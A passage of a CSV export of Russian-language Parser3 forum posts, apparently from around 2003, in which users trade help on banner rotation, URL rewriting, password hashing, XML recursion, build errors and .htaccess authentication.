   }\
  }\
 }\
}\
\
#######\
####Вывод полученного баннера.\
<a href=\"$bselect.link\"><img src=\"$bselect.path\" width=\"$bselect.w\" height=\"$bselect.h\" border=\"0\"></a>\
[/code]\
Буду рад выслушать Ваши мнения.\
Мнения выслушаю и буду сочинять систему администрирования."
"15919","OK, когда ждать?"
"15920","я говорю о случае интерпретатора скриптов. хочу парсером статистику собирать и в базу закидывать. \
 \
 \
"
"15922","у меня было что-то подобное, на P^2(sic!)\
уже с системой(точней написал показ рандомом баннеров, потом приписал систему управления, а позже добавил проверки на дату и число показов)\
\
и еще: надо(ИМХО!!!) поставить еще баннер по умолчанию, который будут \"подсовывать\" вместо тех, у которых истекли сроки/число показа"
"15923","[quot]\
...\
насчёт способа внедрения считаем, что договорились.\
насчёт сроков: я сделаю это тогда, когда понадобится кому-нибудь из наших клиентов, но с радостью приму patch, благо сделать несложно, а исходики в CVS.\
...\
[/quot]"
"15924","имеем строку: \
http://www.sitename.com/forum/bugs/message.html?id=86#86\
Ч-з mod_rewrite посылаем все url на скрипт обработки.\
\
Задача: \
\
выкусить XXX из\
http://www.sitename.com/forum/XXX/message.html?id=86#86\
в переменную и отправить получившийся\
http://www.sitename.com/forum/message.html?id=86(возможно &ident=XXX)\
на дальнейшую обработку\
\
Вопрос:\
\
Возможно ли это с помошью того же mod_rewrite,\
или же заниматься этим внутри обрабатывающего скрипта ?\
\
Проблема:\
\
Достать обработанный ч-з mod_rewrite uri и переменную"
"15926","Или я в чем-то не разобрался ..."
"15927","правда я не очень внимательно читал твое сообщение... если ты все равно рерайтишь все на один документ, то незачем делать лишний рерайт, и наверное, лучше парсером разобрать все пришедшее."
"15929","Parser в раз эдак 100 лутше, чем SSI///"
"15930","тогда обработанную mod_rewrite строку можно достать ..."
"15931","Люди дайте мне какие-нибудь скрипты на Парсере плиз..."
"15933","Все уже разобрался, просто чего то нашло =)"
"15934","Наверное, все видели как в различных форумах заполняется форма введения сообщения: а именно как вставляется в форму сообщения смайлики или теги форматирование текста (<b></b><i></i>[/b][/b][image]  и так далее). Обычно рядом с формой стоят кнопочки с надписями для вставки соотв. символов при нажатии на которых в нужную позицию в форме вставляется код. (кажется в phpBoard так сделано, пример – форма ввода сообщения на www.deforum.ru/forum, форум на ageofweb.ru )\
\
1) Вопрос в следующем – возможно ли такое реализовать на Парсере, или надо/лучше использовать javaScript  или …..(впишите свое плиз…-)\
\
2)  Или вопрос поставим шире (получится оффтопик) как в менеджере форм сделать грамотный постинг различных видов данных, (тексты, таблицы, картинки) и визуального форматирования (<b></b><i></i>). \
Я пытаюсь написать микроCMS для обновления и набивки сайта, основные блоки я уже завязал между собой, теперь хочется сделать форматирование текстов из форм менеджера.\
Писать отдельные блоки для ввода картинок, таблиц, текста + визуального форматирования, мне кажется несколько некрасивым решением (получается своеобразный экстенсивный вариант), да и всех возможных вариантов не предусмотриш… Может посоветуете как эти задачи грамотные люди решают.\
\
Извиняюсь что несколько путано (но не путано, I guess:-) расписался…\
"
"15935","Без всякой ошибки.\
Просто не сохраняет и все.\
Установлен Парсер для LinuxRedHat"
"15936","Praser немного не для этого придуман. И уж если вам нужен редактор, то поищите в Yandex по слову WYSIWYG уверен что найдете то что ищите."
"15937","Фрагмент кода пожалуйста..."
"15939","Я об этом уже думал. Но дело в том, что я сделал группы, для того, чтобы в нужном месте показывались баннеры нужных размеров. А если сделать баннер по-умолчанию, а он вылезет там где этого от него никто не ждал? Сейчас код работает таким образом, что если баннер исчерпал все показы, то показывается другой баннер из той же группы и уже если все баннеры в группе исчерпали свои показы, то не покажеться никакой баннер. Но этого не должно быть. Поэтому, когда создаёшь новую группу (с новыми размерами) то необходимо создать новый баннер по-умолчанию для этой группы и дать ему лимит скажем 1 000 000 000 000.\
А вообще очень хотелось бы увидеть твой код. И спасибо, что обратил внимание."
"15940","Ещё поразмыслю:\
Если всё-таки сделать баннер-по умолчанию, то в каких случаях его стоит впаривать?\
1. Только если все баннеры в группе исчерпали лимит (совсем немного подправлю код).\
2. Вместо каждого баннера исчерпавшего лимит (изменений потребуется больше, но тогда соблюдается такая вещь как примерный процент показов в единицу времени).\
А?"
"15941","[url=\"http://www.parser.ru/examples/\"]http://www.parser.ru/examples/\
[/url]"
"15942","Гыыыыыы.... Спасибо я уже всё перепробовал..."
"15943","Да, что все жадничают... Давайте обмениватся..."
"15945","что и кем хотите вызвать?"
"15946","вы можете выражаться нормально, описывайте задачи а то ведь не все телепаты млин...\
еслия  правильно понял, то нужно текстовые символы просто заменить на рисунок?\
\
тогда таблица подстоновок для replace\
[code]\
$repl_table[^table::create[nameless]{№  <img src=\"number.gif\">}] \
[/code]"
"15947","а показывать т.к. я и раньше говорил(ты правильно понял): как только истекает число показов баннера в какой-то группе, берешь DEF_BANNER для этой группы и начинаешь отдавать его.\
\
ИМХО долна быть группа(это я под твои подстраиваю) в которой будет поле group_id - оттуда забирать \"DEFAULT_banners\" для определенной группы."
"15948","Процедура следющая:\
@changePic[name;dir]\
$rootPath[home/rusip/www/site11/public_html]\
^if(def $form:photo){\
	^form:photo.save[binary;/$dir/images/${name}.jpeg]\
	$f[^file::exec[/../cgi-bin/images.pl;\
		$.CGI_DESTINATION_PATH[/$rootPath/$dir/images]\
		$.CGI_SOURCE_PATH[/$rootPath/$dir/images]\
		$.CGI_IMAGE[${name}.jpeg]\
	]]\
	^file:delete[/$dir/images/${name}.jpeg]\
}\
\
Ошибка в логе такая, но она относиться к методу ^delete.\
[Sun Apr 20 05:34:07 2003] /shop/description/: /home/rusip/www/site11/public_html/libraries/tools.p(89): '/home/rusip/www/site11/public_html/shop/images/3213.jpeg' unlink failed: No such file or directory (2), actual filename '/home/rusip/www/site11/public_html/shop/images/3213.jpeg' [file.missing]\
\
Но проблемы с кодом начались только после того как перехали на сервер с redhat'ом. До этого сидели под freebsd и локально под win32 - все работало как надо!"
"15949","Спасибо за ответ - но я не об этом,  WYSIWYG редакторы мне не нужны, мне необходимо \"сделать\" что-то подобное на админском интерфейсе в формах изменения контента.\
Дело в следующем: Есть форма ввода (редактирования) информации со страницей. Есть классы парсеровские которые эту инфу  пишут в базу/читают и показывают/дают редактировать.\
Проблема: вставить среди текста иллюстрацию. Надо все тем же JavaScrip-ом, как?\
ВОПРОС: А если надо таблицу вставить, то что делать? Писать отдельные классы (или процедуры), для подобных задач?  Или есть какие-то правильные и красивые пути? \
"
"15950","А можно ли поставить Parser под маленький сервер с поддержкой CGI?\
Хочу запустить локальный сервер, Apache по моему сложен для меня, по крайней мере пока. Пытаюсь, пытаюсь и все без толку... Кому нибудь сие удавалось? Буду благодарен за любую помощь."
"15951","Подскажите, пожалуйста\
Как осуществить такой трюк (который, кстати, соуществлён на www.parser.ru/forum/)\
При добавлении нового сообщения в форум открывается новое окно для редактирования. При сабмите формы окно закрывается, а страница форума перегружается.\
\
Так вот, как сделать так, чтобы она перегружалась?\
Спасибо"
"15952","JavaScript предназначен для выполнения на стороне клиента, а Parser на сервере - это очень большая разница. Как раз для твоей задачи, создать примочку для подставления в текст формы тегов, подходит JavaScript. "
"15953","Это делается на JavaScript и работает только в IE, designMode = \"ON\", на этой основе уже много подобных вещей сделано (на Mail.ru), такие редакторы уже не раз тут обсуждали"
"15954","С помощью JavaScript"
"15956","Можно, если сервер позволяет настраивать обработчики для определенных типов файлов (должно быть в документации или features).\
\
Бегло посмотрел: TinyWeb - точно нет.\
Abyss вроде да. Попробуйте настроить аналогично как php здесь:\
http://www.aprelium.com/abyssws/php.html\
\
ПС: Если кому-то известны еще какие-либо серверы, на которые ставится парсер, напишите мне плз как и где - мне эта тема интересна."
"15957","[code]\
@changePic[name;dir]\
$rootPath[$env:DOCUMENT_ROOT]\
^if(def $form:photo){\
^form:photo.save[binary;/$dir/images/${name}.jpeg]\
$f[^file::exec[/../cgi-bin/images.pl;\
[/code]\
[color=\"red\"]$.stdin[][/color] добавь обязательно\
[code]\
$.CGI_DESTINATION_PATH[/$rootPath/$dir/images]\
$.CGI_SOURCE_PATH[/$rootPath/$dir/images]\
$.CGI_IMAGE[${name}.jpeg]\
]]\
^file:delete[/$dir/images/${name}.jpeg]\
}\
[/code]\
\
На сколько я понял вы пытаетесь ресайзить картинку, но не указываете до какого размера. Попробуйте сделать изменения которые я внес, и начните проверять с $.stdin[] \
Потом мне абсолютно непонятен смысл процедуры, вы закачиваете картинку, что-то с ней делаете и тут же ее удаляете. Где-то тут затаился подвох... или я че-то не понимаю.\
$.CGI_SOURCE_PATH и $.CGI_DESTINATION_PATH по крайней мере должны быть разные, а ежели вы предполагаете что файл будет сам себя переписывать, то зачем тогда ^file:delete[...]"
"15958","WYSIWYG позволяет делать все из того что вы перечислили. Если он не устраивает, то тогда самый простой вариант сделать свои теги.\
К примеру вставка картинки <image=\"1.jpg\" align=\"right\"> или таблицы <table=\"1\" align=\"center\">. Все таблицы вводить с помощью отдельного редактора, картинки соответственно загружать предварительно извне.\
Других красивых решений я пока не знаю..."
"15960","ALL!\
Не врубаюсь я в эти штуки. Помогите, а?\
Есть код:\
\
$bpasswd[^connect[pgsql://localhost/htask]{\
^string:sql{select passwd from user_desc where short_name='andy'}\
}]\
\
$upasswd[test]\
\
$upasswd<br> \
$bpasswd<br>\
\
$crypted[^math:crypt[$bpasswd;^$apr1^$]] \
^if(^math:crypt[$upasswd;$crypted] eq $crypted){ \
    Пароль верный \
}{ \
    Пароль не верный\
} \
\
Естественно пароль не верный, хотя в HTML'ку правильно кажет:\
\
test\
test\
\
Ставлю ^untaint{$bpasswd}, результат тот же.\
Сижу пробую варианты, и никак...\
Верно-то как сделать?"
"15962","Т.е. def_banner показывается только когда кончаться все баннеры в группе? Допустим есть пять баннеров на место, четыре из них исчерпали свои показы, тогда если def_banner показывается вместо каждого, исчерпавшего показы, то def_banner будет показываться в 4-х случаях из 5-ти, а так будет себе крутиться на этом месте один. Показы набегают быстрее. Впрочем, это наверное дело вкуса."
"15963","В $bpassword вы вытащили пароль из базы. Вопрос: криптованный или нет?\
Если нет, то вы должны сверить его с введенным паролем. \
^if($bpassword eq $upassword){}\
Если криптованный (хотя не пойму зачем) то у вас ничего не выйдет.\
Криптованное дважды одно и то же слово test будет иметь разный результат и сравнить его не получится никак.\
Можете проверить это здесь:\
http://spearance.tura.ru/parser3/makepass/\
Подводя итог: taint/untaint здесь вовсе не нужен. Разберитесь с идеологией скрипта."
"15964","Иммено по аналогии из примера в доке\
$right[123] \
$from_user[123] \
$crypted[^math:crypt[$right;^$apr1^$]] \
#обратите внимание на то, что $crypted при каждом обращении разный \
$crypted<br> \
^if(^math:crypt[$from_user;$crypted] eq $crypted){ \
    Казнить нельзя, помиловать \
}{ \
    Казнить, нельзя помиловать \
}\
Мой код как две капли похож с этим. Более того\
если заменить на $bpasswd[test] работает. А когда этот test\
достает из базы - нет. Это не окончатеоьный код. Я пока пишу\
привыкаю к Parser. И хочу заменить в базе не шифрованные \
пароли на шифрованные. Вот типа подбираюсь из далека.\
А дело в taint/untaint или как можно объяснить такое поведение?\
"
"15965","http://www.parser.ru/download/win32/"
"15966","Изменения касаются баннера по-умолчанию. Решил поступить следующим образом: в файл banner.cfg были добавлены ещё два поля - def_banner и def_link (путь к файлу с баннером и ссылка). Если заканчиваются баннеропоказы у всех баннеров в группе, вылазит defaul banner. \
Но есть маленькая проблемка: дело в том, что если баннеры в группе достигают предела показов (при этом в группе есть хотя бы один баннер), то def_banner и def_link беруться из первого баннера в группе. А как поступить в том случае, если в группе нет ни одного баннера? Откуда тогда брать def_banner и def_link? Или предётся заводить отдельный файл для баннеров по-умолчанию (делать этого почему-то не хочеться)?"
"15968","если не лень, сделайте сами, Олег.\
только прошу сразу делать к ветке template_gc.\
и запишите дату/время, когда вы взяли её из CVS, чтобы беспроблемнее было его приложить."
"15969","точнее, ваше понимание, почему оно вам не понадобилось…"
"15970","Идея следующая: метод-цикл, который пробегает xml-документ, по всем узлам, возвращая значение каждого узла переменной [i]вызвавшего[/i] метода. Проблема в том, что когда метод-цикл вызывается рекурсивно, он соответственно и значения текущего узла присваивает [i]переменной вызывающего метода[/i], то есть своей собственной, только с \"верхнего уровня\" рекурсии. Таким образом рабочая переменная основного метода, инициализирующего цикл, всегда имеет значение самого первого узла дерева, что нас совершенно не устраивает. Как изменять эту переменную с любого уровня рекурсии?\
[code]\
$self.xDoc[^load::[/structure.xml]]\
@test[][xNode]\
<ul>\
^loop[xNode;0]{\
	<li>^xNode.getAttribute[name]</li>\
}\
</ul>\
\
---\
\
@loop[name;node;code][nodeList;i;n]\
^if(!$node){\
	$node[^xDoc.selectSingle[//root]]\
}\
$caller.$name[$node]\
^if($node is 'xnode'){$code}\
^if(^node.hasChildNodes[]){\
	$nodeList[^node.select[*]]\
	$n($nodeList-1)\
	^for[i](0;$n){\
		$node[$nodeList.$i]\
		^loop[$name;$node]{$code}\
	}\
}\
[/code]"
"15971","[code]\
#public\
@loop[…]\
^loop_internal[…;$caller]\
\
@loop_internal[…;vars]\
$vars.$name[$node]\
…\
        ^loop_internal[…;$vars]\
[/code]"
"15973","Проблема решена.\
Драйвер PostgreSQL возврашает строку с длинной указанной\
в таблице базы данный ( varchar(8)). \
Понятно taint/untaint не причем в таком раскладе.\
Лечится использованием ^trim[]\
"
"15974","Правда, тут скорее я [url=\"http://www.egoroff.spb.ru/opinions/22.html\"]сам виноват[/url]."
"15976","Есть кусок кода:\
\
[code]@main[]\
$cgi_file[^file::exec[../../../../winnt/system32/net.exe; ;send;sanja; \"hello, sanja!\" ]]\
\
$result[ \
<h1><code>net send</code> Test</h1>\
<pre>$cgi_file.text</pre>\
][/code]\
\
Под апачем оно работает, под iis - сообщает, что access denied. Попробовал скопировать net.exe и net1.exe в локальную папку, где есть возможность запускать свои asp - та же история:\
[i]exec failed - Access is denied (5). Consider adding shbang line (#!x:interpretercommand line)[/i]\
\
В чём может быть закавыка? Вмешательство urlscan исключили, права проверены - что ещё?"
"15978","Пробую упрощённый вариант, без рекурсии:\
[code]\
@CLASS\
myClass\
\
@init[]\
$self.xDoc[^xdoc:load[/structure.xml]]\
#---\
@test[][xNode]\
<ul>\
^loop[xNode;0]{\
	<li>^xNode.getAttribute[name]</li>\
}\
</ul>\
#---\
@loop[name;node;code]\
^iLoop[$name;$node;$caller]{$code}\
#---\
@iLoop[name;node;vars;code]\
^if(!$node){\
	$node[^xDoc.selectSingle[//root]]\
	$vars.$name[$node]\
}{\
	$vars.$name[$node]\
}\
$code\
[/code]\
\
Происходит следующая ошибка:\
(void) not a method or junction, can not call it\
getAttribute\
в методе @test.\
\
Пробовал передавать $caller.self - результат тот же. Ошибка в ДНК?"
"15979","пользователь, от имени которого в IIS работает parser: от имени которого parser запускает net.exe может не иметь нужных прав."
"15980","если не трудно. А  то ищу-ищу, ничего не нахожу"
"15981","Вводная: \
Авторизация через .htaccess. Юзер вводит пальцем логин, пароль и попадает в ... зону для избранных (рабочий форум). \
\
Вопрос:\
#\
# Подскажите, pls, как в parser'e получить введенный пользователем логин? Т.е. как понять, кто \"к нам пришел\"?\
#\
"
"15982","Вот, стоит отлучиться на минутку, а они как ломанулись... :-)\
\
Что за строчка появилась в присылаемых по почте сообщениях с форума:\
[SUM]QwG54eAHhyLXHcvnhmI.l1[/SUM]\
Типа чек-сумма? \
#\
# Каково её народнохозяйственное значение? Как можно это приспособить к делу?\
#\
\
Я так понимаю, что это магически (Md5) связано с возможностью исправлять уже отправленные на форум сообщения.\
В этой связи - просьба к колдунам:\
#\
# А нельзя ли, чтобы измененнное сообщение имело и слегка измененное поле subject. \
# Скажем так: Тыгдымский конь, Тыгдымский конь-2, Тыгдымский конь-3 и т.д.\
# \
А то приходит пачка почти одинаковых писем - сиди тут, понимаешь, разбирайся, которое из них свежее...\
"
"15983","Прочитать переменную окружения REMOTE_USER"
"15984","...отвечать на сообщения форума, пришедшие по почте письмом.\
естественно, при этом упоминаемая строчка должна оставаться в первозданном виде, иначе: ignored.\
\
пока это не работает. когда заработает - сообщу.\
\
по поводу изменения заголовка: мне кажется это не нужно (могу ошибаться). все шлется в том виде, в котором оно было запощено. \
\
моя точка зрения: \"прикладывать руку к тому, что писал другой - не моги.\"\
\
однако желание понятно, если добавлю поле \"дата/время\" к заголовку (возможно включаемое/выключаемое) - легче станет?"
"15985","http://www.parser.ru/forum/?id=2436\
http://www.parser.ru/forum/?id=9314\
http://www.parser.ru/forum/?id=11134\
"
"15986","Огромное спасибо"
"15987","При выполнени make, Parser вываливается с ошибкой \"No qsort library function\". Закомменитировал эту строку. Следом он начал ругаться на \"No select library function\". Ее пришлось тоже закомментировать. Сейчас вываливается с ошибкой\
\
Making all in main\
make[2]: Вход в каталог `/home/nikon/sources/test/parser3/src/main'\
cd ../.. && automake --gnu src/main/Makefile\
src/main/Makefile.am: required file `./depcomp' not found\
make[2]: *** [Makefile.in] Ошибка 1\
make[2]: Выход из каталог `/home/nikon/sources/test/parser3/src/main'\
make[1]: *** [all-recursive] Ошибка 1\
make[1]: Выход из каталог `/home/nikon/sources/test/parser3/src'\
make: *** [all-recursive] Ошибка 1\
\
Дата у файлов стоит правильная. Дистрибутив - ALT Linux Master 2.2"
"15988","перед запуском скриптов сделайте touch *, я вижу, что на вашей системе нашлись auto* средства, которые решили всё компильнуть, и сделали это неправильно. \
touch отменит запуск autoconf&co.\
\
в HEAD ветке я уже перешёл на более новые auto*."
"15990","Делал я touch *... те-же грабли :("
"15991","вероятно, вы делали это после того, как ваши auto* перекомпилировали часть файлов.\
\
1. распакуйте\
2. touch\
3. configure"
"15992","все силы было положено на оптимизацию работы с памятью.\
поэтому фич новых мало.\
\
замирать тоже не к чему: нужно готовиться, к чему: я уже публиковал.\
могу добавить, что если у кого где-то остался [code]^mail:send[$.body[…]][/code] пора переделать на .text, поскольку обратную совместимость я сделал, но только для несложных случаев."
"15993","Сайт работает по принципу передачи параметров в URL. В зависимости от этих параметров формируется определенная страница.\
\
Например:[code]\
мой_сайт.ru/?sel=group&id=57&no=5 и т.п.[/code]\
Каким образом можно от этого избавиться и получать в зависимости от переданных параметров что-то типа этого [code]\
мой_сайт.ru/имя_файла_57_5.html[/code]\
\
Как вообще это организовать???"
"15995","AIX 4, Parser 3.0.0.7\
При обращении к файлу выдает\
[code]out of pool memory: failed to allocate 0 bytes;\
already allocated on pool: 41441 bytes in 1444 times\
[/code]\
Преценденты видел, но как это исправить так и не понял.\
Помогите, кто чем может :("
"15996","Есть у меня таблица со значениями [code]date   text[/code]\
Так же есть форма добавления информации в эту таблицу.\
Можно ли сделать так, чтобы при добавлении новой записи стиралась старая? То есть оставалась лишь одна запись?\
\
Буду признателен.\
\
Пс: По форуму искал - не нашел..."
"15997","Уважаемые!\
Возможен ли симбиоз Parser с платформой Zope? Если возможен - как, если не возможен - почему? Заранее благодарю."
"15999","что не получается?"
"16000","прошу прощения за невольный обман.\
\
сделать можно, однако выходит неизящно.\
\
на сейчас единственный вариант: развернуть рекурсию в цикл."
"16003","Добрый!\
Как сделать замену \\n на пробел?\
На перле вот просто:\
[code]\
$value=~ s/\\n/\\ /g;\
[/code]\
А вот на парсере никак не могу сообразить..."
"16005","$str[blabla\\n] \
^str.match[\\n][g]{тут пробел}"
"16006","Кто-нить сталкивался с такой проблемой?\
\
Поставил се парсер на valuehost'е... все работает нормально.\
Щас пришлось делать поддомен. htaccess на valuehost нельзя класть в корневую директорию, а когда я создаю этот файл в папке поддомена ничего вообще не грузися.\
\
Собственно вопрос: как заставить поддомен работать с парсером?"
"16007","Решил собрать седьмой парсер с поддержкой MAILRECEIVE, и все бы было прекрасно, только вот gmime-1.0.5 упорно не хочет видеть glib, хотя он и существует.\
В PATH есть /home/parser/gnome/bin и существует GLIB_CONFIG = /home/parser/gnome/bin/glib-config.\
Теперь он требует LD_LIBRARY_PATH, но что это такое и куда ведет - хороший вопрос.\
Может быть кто-то сталкивался с этим?\
\
\
[code]\
checking for a BSD-compatible install... /usr/bin/install -c\
checking whether build environment is sane... yes\
checking whether make sets ${MAKE}... yes\
checking for working aclocal... missing\
checking for working autoconf... missing\
checking for working automake... missing\
checking for working autoheader... missing\
checking for working makeinfo... found\
checking build system type... i386-unknown-freebsd4.7\
checking host system type... i386-unknown-freebsd4.7\
checking for gcc... gcc\
checking for C compiler default output... a.out\
checking whether the C compiler works... yes\
checking whether we are cross compiling... no\
checking for suffix of executables... \
checking for suffix of object files... o\
checking whether we are using the GNU C compiler... yes\
checking whether gcc accepts -g... yes\
checking for strerror in -lcposix... no\
checking for gcc... (cached) gcc\
checking whether we are using the GNU C compiler... (cached) yes\
checking whether gcc accepts -g... (cached) yes\
checking for gcc option to accept ANSI C... none needed\
checking how to run the C preprocessor... gcc -E\
checking for ANSI C header files... yes\
checking for a BSD-compatible install... /usr/bin/install -c\
checking whether ln -s works... yes\
checking whether make sets ${MAKE}... (cached) yes\
checking for rm... /bin/rm\
checking for mv... /bin/mv\
checking for tar... /usr/bin/tar\
checking for ld used by GCC... /usr/libexec/elf/ld\
checking if the linker (/usr/libexec/elf/ld) is GNU ld... yes\
checking for /usr/libexec/elf/ld option to reload object files... -r\
checking for BSD-compatible nm... /usr/bin/nm -B\
checking how to recognise dependant libraries... pass_all\
checking command to parse /usr/bin/nm -B output... ok\
checking for sys/types.h... yes\
checking for sys/stat.h... yes\
checking for stdlib.h... yes\
checking for string.h... yes\
checking for memory.h... yes\
checking for strings.h... yes\
checking for inttypes.h... yes\
checking for stdint.h... no\
checking for unistd.h... yes\
checking dlfcn.h usability... yes\
checking dlfcn.h presence... yes\
checking for dlfcn.h... yes\
checking for ranlib... ranlib\
checking for strip... strip\
checking for objdir... .libs\
checking for gcc option to produce PIC... -fPIC\
checking if gcc PIC flag -fPIC works... yes\
checking if gcc static flag -static works... yes\
checking if gcc supports -c -o file.o... yes\
checking if gcc supports -c -o file.lo... yes\
checking if gcc supports -fno-rtti -fno-exceptions... yes\
checking whether the linker (/usr/libexec/elf/ld) supports shared libraries... yes\
checking how to hardcode library paths into programs... immediate\
checking whether stripping libraries is possible... yes\
checking dynamic linker characteristics... freebsd4.7 ld.so\
checking if libtool supports shared libraries... yes\
checking whether to build shared libraries... yes\
checking whether to build static libraries... yes\
checking whether -lc should be explicitly linked in... yes\
creating libtool\
checking whether to enable maintainer-specific portions of Makefiles... no\
checking sys/mman.h usability... yes\
checking sys/mman.h presence... yes\
checking for sys/mman.h... yes\
checking for string.h... (cached) yes\
checking for stdlib.h... (cached) yes\
checking ctype.h usability... yes\
checking ctype.h presence... yes\
checking for ctype.h... yes\
checking time.h usability... yes\
checking time.h presence... yes\
checking for time.h... yes\
checking alloca.h usability... no\
checking alloca.h presence... no\
checking for alloca.h... no\
checking for off_t... yes\
checking for size_t... yes\
checking for ssize_t... yes\
checking for isblank... yes\
checking for strftime... yes\
checking for localtime... yes\
checking for alloca... yes\
checking for mmap... yes\
checking for munmap... yes\
checking for msync... yes\
checking for memchr... yes\
checking for memrchr... no\
checking for memmem... no\
checking for strlen... yes\
checking for strcpy... yes\
checking for strncpy... yes\
checking for strlcpy... yes\
checking for stpcpy... no\
checking for strcat... yes\
checking for strncat... yes\
checking for strlcat... yes\
checking for strchr... yes\
checking for strrchr... yes\
checking for strnstr... yes\
checking for strstr... yes\
checking for strncasestr... no\
checking for strcasestr... yes\
checking for strncasecmp... yes\
checking for strcasecmp... yes\
checking for gtkdoc-mkdb... false\
checking for glib-config... /home/parser/gnome/bin/glib-config\
checking for GLIB - version >= 1.2.0... no\
*** Could not run GLIB test program, checking why...\
*** The test program compiled, but did not run. This usually means\
*** that the run-time linker is not finding GLIB or finding the wrong\
*** version of GLIB. If it is not finding GLIB, you'll need to set your\
*** LD_LIBRARY_PATH environment variable, or edit /etc/ld.so.conf to point\
*** to the installed location  Also, make sure you have run ldconfig if that\
*** is required on your system\
***\
*** If you have an old version installed, it is best to remove it, although\
*** you may also be able to get things to work by modifying LD_LIBRARY_PATH\
***\
*** If you have a RedHat 5.0 system, you should remove the GTK package that\
*** came with the system with the command\
***\
***    rpm --erase --nodeps gtk gtk-devel\
[/code]\
"
"16009","решения:\
1. увеличить объем памяти, выделяемой системой процессу (парсеру)\
2. изменить алгоритмы работы скрипта, чтобы он расходовал меньше памяти (возможно разбить на несколько скриптов)\
\
если задача: перелопатить 40 мегабайтный лог файл (или аналогичная), то у тебя остается только вариант 1.\
\
если хочешь советов по оптимизации алгоритмов - код в студию (я думаю, что тебя не будут учить как писать код, просто возможно ты используешь не очень хорошие именно в случае с парсером механизмы и тебе покажут на это)"
"16010","parser не должен был просить 0 байт.\
\
если он просит 0 байт, ему система выдаёт NULL, и он думает, что памяти не хватает, хотя вы успели захватить несчастных 40K.\
\
если нужно срочно, собирайте из CVS, HEAD ветка."
"16013","все там можно. У меня же лежит и работает.\
\
А если кладете .htaccess в папку, то пропишити пути от корня и установите в настройках правильную cgi дирикторию.\
\
Проверьте все пути, наверняка дело в них!"
"16015","Авторы.\
Не знаю в чем дело.\
Вот только что авторизовался, читаю форум. Оставил сообщение. И вдруг опять я не опознан. Почему? cookies on."
"16018","Почистил все куки, wand'a настройки -- вроде перестала.\
"
"16020","у меня такая же фигня вышла .\
mysql библиотека собралась без шума...\
\
подскажите плиз что делать?"
"16021","а можно это исправить в ветке 3_000_7?"
"16022","возможно, там и исправил. cvs diff"
"16023","кто хочет срочнее, простейший в объяснении способ: сделать такой вот грязный hack:\
\
поправить src/targets/parser3.C\
[code]\
class C {\
public:\
        C() {}\
};\
C *trick() {\
    return new C;\
}\
int main(int argc, char *argv[]) {\
    delete trick();\
[/code]"
"16024","Как запустить процедуру имя которой содержится в переменной.\
Т.е. например:\
---------------\
@start_proc[second_proc]\
^$second_proc\
-----------------\
Не работает\
\
---------------\
@start_proc[second_proc]\
^${second_proc}\
-----------------\
\
Также не работает \
\
"
"16025","попробуй так:\
[code]\
@start_proc[second_proc][tmp]\
$tmp[$$second_proc]\
^tmp[]\
[/code]"
"16026","буквальный ответ миша уже дал.\
\
к размышлению:\
http://www.parser.ru/forum/?id=14317\
\
и, самое главное: такой код [b]затрудняет[/b] чтение программ.\
если возможно, используйте пользовательские классы с виртуальными функциями, это куда понятнее."
"16027","Интересно, кто как ведет TODO для проекта: проги, файлы ?\
На данный момент перепробовал стикеры на десктоп и т.д., остановился на MS Outlook XP."
"16028","У меня для документов вордовских шаблон по-умолчанию имеет ярко выделенный стиль TODO, а в программировании попросту, либо пишется заглушка, возвращающая результат по-умолчанию и опиание функции, либо прямо в текст (например, страницы) вставляется опять же яркий элемент, типа \"нагнуть Васю направо\"... В целом - спасает. Если дело плохо - достаю из широких штанин собственную тулзу (например, когда багтрэкинг осуществляю и надо протоколировать)."
"16029","В htaccess ничего нового:\
\
[code]\
# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
CharsetDisable On[/code]\
\
Путь к cgi-bin пробовал писать так:\
\
/pub/home/мойдомен/cgi-bin/parser3.cgi\
\
и так:\
\
/cgi-bin/parser3.cgi\
\
и даже так:\
\
../cgi-bin/parser3.cgi\
\
не работает...\
\
В корневую (там где лежат папки cgi-bin, htdocs итд. и папка с поддоменом соответственно) htaccess не выкладывается (я это даже выяснял с админом по телефону), т.е. выкладывается, но оттуда не работает. Потому он лежит в htdocs, засчет чего основной сайт работает на парсере.\
\
Вот такие пироги..."
"16030","в поддомене у меня так:\
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3/parser3.cgi\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
Убрать CharsetDisable On не пробовали?\
Или может закачка плохая была?\
\
Или в настройках хостингах - стоит разрешение использовать .htaccess, хотя помоему там по умолчанию идет."
"16031","Первое что порекомендую, отказаться от IE5 и перейти на 6. Но это тоже не спасет ситуацию если не поставить 1 сервис-пак. После этого все должно работать. По крайней мере у меня после такой установки уже месяц небыло пробем с куками."
"16033","Спасибо, помогло..."
"16034","Во первых не в одной доке по какой-либо технологии не сказано, что IE5 глюкавит с куками.\
\
А во вторых есть полно форумов, которые не глючат с куками:\
http://phpclub.net/talk/\
http://forum.ixbt.com/\
\
На чем написан форум тоже наверное не играет роли ведь куки отправляются однообразными HTTP заголовками или я не прав?"
"16035","Да. Посмотри в настройках поддомена разрешено ли использовать .htaccess и если это не поможет, то кинь парсер с cgi директорию поддомена."
"16036","У меня были проблемы с куками, поставил IE6+SP1 их не стало."
"16037","Деляю все как написано в доке по Apache!\
\
htpasswd -c путь на диске.htpasswd username\
password ввожу: mypassword\
\
Файл появлятся.\
Его содержимое:\
[i]username:$apr1$P8......$ZBFcar/bBVHShOWConrqh0[/i]\
\
создаю директорию /a/\
кидаю в неё .htaccess со следующим содержанием:\
[i]AuthType Basic\
AuthName \"By Invitation Only\"\
AuthUserFile /.htpasswd\
Require user rbowen sungo[/i]\
\
Окно для ввода логина и пароля появляется, но пароль не воспринимается и на ... меня посылает. Файл с паролями лежит в незапаролированной директории. Права на него доступные т.к. у меня win98\
Что же здесь не так?\
Спасибо."
"16038","Но чудес не бывает.\
Если одно работает значит дело не в браузере.\
Просто надо повнимательнее отнестись к коду."
"16039","...написать вместо последней строки\
[code]Require valid-user[/code]\
?"
"16040","...А то на даунлоадах майкрософта предлагают только инсталлер, а corporate.windowsupdate прикрыли, видимо... А очень хочется просто sp скачать и домой еще принести."
"16041","А что же тогда в оффицияльной доке Apache написано так коряво?"
"16042","1. В AuthUserFile указывается полный путь, а не относительно DOCUMENT_ROOT\
2. Пользователей rbowen и sungo в .htpasswd нет, надо писать или Require user username или Require valid-user."
